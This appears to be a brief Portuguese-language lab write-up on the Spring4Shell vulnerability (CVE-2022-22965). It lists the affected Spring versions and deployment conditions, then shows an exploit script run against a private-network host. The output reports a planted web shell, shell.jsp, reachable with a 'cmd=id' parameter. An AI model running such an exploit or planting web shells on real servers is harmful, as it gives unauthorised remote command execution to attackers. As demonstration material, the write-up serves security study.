
Spring4Shell
Spring Framework 5.3.18 e 5.2.20
Spring Boot 2.6.6 e 2.5.12
Spring Core é o componente central do Spring Framework. É a base para construir outros componentes no ecossistema do Spring Framework, como Spring MVC, Spring Boot, Spring WebFlux. O código do exploit é executável sob as seguintes condições:
JDK 9 ou superior
Apache Tomcat executa containers de servlet
Empacotamento WAR
Dependências de pacote: spring-webmvc ou spring-webflux
Se a aplicação for implantada como um arquivo jar executável do Spring Boot, como é o padrão, ela não será afetada por essa falha de segurança.
python CVE-2022-22965.py --url http://172.16.1.10:8080/helloworld/greeting
└─$ python cve-spring4shell.py --url http://172.16.1.10:8080/helloworld/greeting
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://172.16.1.10:8080/shell.jsp?cmd=id